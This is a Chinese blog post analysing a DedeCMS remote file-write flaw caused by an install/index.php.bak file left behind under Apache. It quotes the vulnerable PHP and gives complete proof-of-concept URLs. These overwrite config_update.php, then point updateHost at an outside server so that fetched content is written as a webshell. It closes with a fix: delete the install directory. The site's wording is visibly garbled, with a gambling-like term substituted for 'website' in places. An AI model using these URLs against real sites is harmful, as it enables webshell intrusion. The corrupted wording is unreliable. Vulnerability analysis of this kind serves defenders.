新闻观点
  • 观点/分享
  • 新闻资讯
  • 建站知识
  • 运营技巧
  • 常见问题
  • 签约动态
  • 技术分享
  • Dedecms远程写文件漏洞分析

    2018-08-21 作者:渠道科技 | 关注度:219 | 来源: www.02308.com
    0x01 漏洞根源

    这个漏洞主要由两个原因引起的,其中最重要的一个原因,便是开发者没有认识到Apache服务器解析文件的流程,从而导致安装文件在安装后居然可以被继续访问。这里接单解释下Apache解析文件的流程:

        当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

        那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

    了解了Apache解析漏洞,我们就可以继续来看出问题的install/index.php.bak文件代码,问题代码如下:

    [php]
    else if($step==11)
    {
    require_once(‘../data/admin/config_update.php’);
    $rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;
    echo $rmurl;
    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,’w’);
    if(fwrite($fp,$sql_content))
    echo ‘  [√] 存在(您可以选择安装进行体验)’;
    else
    echo ‘  [×] 远程获取失败’;
    unset($sql_content);
    fclose($fp);
    exit();
    [/php]

    了解Dedecms参数机制的同学都知道,代码中的一些变量我们是可以通过GET参数的方式进行操控的。那么上面代码很明显,可以向指定的文件内写入任意内容,从而导致获取webshell。
    0x02 漏洞利用

    从代码中我们可以看到在step=11中,先包含了data/admin/config_update.php文件,这文件中指定了updataHost变量的值,这样来看似乎我们没有办法来向指定写内容。但是如果我们指定install_demo_name是config_update.php文件这个文件,并且内容是一个404文件,会造成什么效果呢?

    我们先来访问这个url:http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

    这会让代码到http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt中取内容写入到config_update.php,demodata.a.txt如下图:

    demodata.a.txt

    访问PoC之后config_update.php文件内容如下图:

    config_update.php

    这样updataHost变量值便没有被初始化了,之后我们想写什么就可以些什么了。这里我们用下面的这个url做测试:http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=http://192.168.1.1/

    访问http://192.168.204.135/data/tang3.php,效果如下图:

    payload
    0x03 漏洞总结
    漏洞小结

        影响范围个人评价为“高”,Dedecms在国内使用范围很广,各种中小型竞博吧,政府竞博吧都是用它搭建的。

        危害性个人评价为“高”,此漏洞在Apache默认环境下,即可获取webshell,危害很大。

    防护方案

    在安装完成后移除install目录。
    首页 | 竞博吧建设 | 经典案例 | 新闻观点 | 服务范围 | 合作客户 | 关于我们